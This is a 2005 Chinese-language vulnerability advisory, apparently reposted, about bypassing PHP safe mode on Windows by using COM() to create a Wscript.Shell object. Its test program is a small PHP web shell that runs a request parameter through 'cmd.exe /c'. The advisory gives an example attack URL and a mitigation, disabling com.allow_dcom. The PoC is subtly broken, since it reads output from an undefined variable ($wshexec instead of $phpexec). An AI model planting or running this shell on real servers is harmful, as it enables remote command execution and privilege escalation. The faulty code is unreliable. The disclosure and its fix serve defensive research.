天天看點

PHP COM元件調用繞過安全模式執行任意檔案漏洞

建立時間:2005-03-22

文章屬性:原創

發現日期:2005-02-10

受影響的系統:

Windows 下支援COM()函數的PHP版本

發現人:

Saiy:dawangs_at_etang.com

kEvin1986:Garnett1986_at_hotmail.com

我非我:wofeiwo_at_bugkidz.org

我非我:

描述:

Windows平台下的PHP腳本平台存在一個安全漏洞,使得PHP設定即使在安全模式下(safe_mode),仍舊允許攻擊者使用COM()函數來建立系統元件來執行任意指令.

漏洞出現的原因是由于在安全模式下的PHP平台雖然system();pathru()函數被禁止,但是com.allow_dcom的設定依舊是為true.以至于攻擊者可以使用COM()函數建立系統元件對象來運作系統指令.如果是預設的Apache設定或者Web伺服器以Loacalsystem權限或Administrators權限運作,攻擊者可以使用這個漏洞來提升權限.

測試程式:

-----------------------------------------------------------------

警 告

以下程式(方法)可能帶有攻擊性,僅供安全研究與教學之用。使用者風險自負!

/*需要Windows Script Host 5.6支援*/

<?php

$phpwsh=new COM("Wscript.Shell") or die("Create Wscript.Shell Failed!");

$phpexec=$phpwsh->exec("cmd.exe /c $cmd");

$execoutput=$wshexec->stdout();

$result=$execoutput->readall();

echo $result;

?>

/*Windows Script Host 5.6以下版本支援*/

$phpwsh->run("cmd.exe /c $cmd > c://inetpub//wwwroot//result.txt");

将以上代碼儲存成*.php檔案之後可以在浏覽器中執行

<a href="http://www.target.com/simple.php?cmd=%5BCommand%5D">http://www.target.com/simple.php?cmd=[Command]</a>

---------------------------------------------------------------

更新檔:

目前PHP官方未回複發現者的信件且未釋出任何相關更新檔.

建議:

在設定安全模式之後,将 com.allow_dcom=true 設定為 com.allow_dcom=false即可.

感謝: